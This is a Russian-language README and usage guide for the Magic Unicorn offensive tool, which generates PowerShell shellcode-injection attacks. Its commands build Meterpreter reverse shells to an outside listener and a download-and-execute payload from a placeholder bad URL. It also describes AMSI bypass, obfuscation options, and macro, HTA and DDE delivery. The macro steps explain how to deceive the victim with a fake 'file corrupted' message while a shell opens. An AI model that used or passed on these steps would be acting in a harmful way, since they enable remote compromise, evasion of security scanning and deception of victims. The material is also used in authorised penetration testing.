
Unicorn — это простой инструмент для выполнения атаки понижения версии PowerShell и внедрения shellcode напрямую в память. Основан на атаках PowerShell Мэттью Грэбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18.
Автор: Dave Kennedy (@HackingDave) Сайт: https://www.trustedsec.com
Magic Unicorn — это простой инструмент для использования атаки с понижением версии PowerShell и внедрения шелл-кода напрямую в память. Основан на атаках PowerShell Мэтью Грейбера и технике обхода PowerShell, представленной Дэвидом Кеннеди (TrustedSec) и Джошем Келли на Defcon 18.
Использование простое: просто запустите Magic Unicorn (убедитесь, что Metasploit установлен, если используются методы Metasploit, и находится в правильном пути), и magic unicorn автоматически сгенерирует команду PowerShell, которую вам нужно просто скопировать и вставить в окно командной строки или через систему доставки полезной нагрузки. Unicorn поддерживает ваш собственный шелл-код, Cobalt Strike и Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Теперь Unicorn создаёт одну дочернюю команду PowerShell. С --amsi inline патч AMSI и загрузчик shellcode
выполняются в том же дочернем процессе. С --amsi off Unicorn пропускает этап AMSI.
Используйте --profile cmd для контекста команды в 8191 символ. Используйте --profile powershell для
контекста в 32767 символов. Unicorn отклоняет вывод, превышающий выбранный лимит.
Используйте --arch x86 или --arch x64 для выбора архитектуры дочернего PowerShell. Предоставляйте shellcode,
соответствующий этой архитектуре. По умолчанию используется x86.
Используйте --obfuscation minimal|moderate|high для выбора ограниченного варианта, сохраняющего семантику.
Манифест фиксирует точные использованные преобразования.
Используйте --seed <value> для воспроизведения сгенерированного варианта. Каждый запуск записывает unicorn_manifest.json с
seed, архитектурой, режимом AMSI, длинами команд, API и SHA-256 исходного shellcode.
Вариант загрузчика использует либо цикл побайтового копирования через memset, либо Marshal.Copy; выбранный API записывается
в манифест.
Для атак с shellcode манифест также фиксирует выбранный профиль обфускации и его
преобразования.
Теперь всё генерируется в powershell_attack.txt, unicorn.rc при использовании Metasploit и
unicorn_manifest.json. Текстовый файл содержит код, необходимый для внедрения PowerShell-атаки в
память. Вам нужно место, поддерживающее удалённое выполнение команд. Используйте --profile cmd для контекста команды в 8191 символ.
Эта атака также поддерживает windows/download_exec. При использовании download and execute запустите
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe.
Обратите внимание, что для перехвата атаки вам потребуется включённый слушатель.
Для макрос-атаки вам нужно перейти в File, Properties, Ribbons и выбрать Developer. После этого у вас появится вкладка developer. Создайте новый макрос, назовите его Auto_Open и вставьте сгенерированный код в него. Он будет запускаться автоматически. Обратите внимание, что пользователю будет показано сообщение о том, что файл повреждён, и документ Excel автоматически закроется. ЭТО НОРМАЛЬНОЕ ПОВЕДЕНИЕ! Так жертву вводят в заблуждение, заставляя думать, что документ Excel повреждён. После этого вы должны получить шелл через инъекцию powershell.
Если вы разворачиваете это против версий Word Office365/2016+, вам нужно изменить первую строку вывода с: Sub Auto_Open()
На: Sub AutoOpen()
Само имя макроса также должно быть "AutoOpen" вместо устаревшей схемы именования "Auto_Open".
ПРИМЕЧАНИЕ: ПРИ КОПИРОВАНИИ И ВСТАВКЕ EXCEL, ЕСЛИ ДОБАВЛЕНЫ ДОПОЛНИТЕЛЬНЫЕ ПРОБЕЛЫ, ВАМ НУЖНО УДАЛИТЬ ИХ ПОСЛЕ КАЖДОГО ИЗ РАЗДЕЛОВ КОДА POWERSHELL ПОД ПЕРЕМЕННОЙ "x", ИНАЧЕ ПРОИЗОЙДЁТ ОШИБКА СИНТАКСИСА!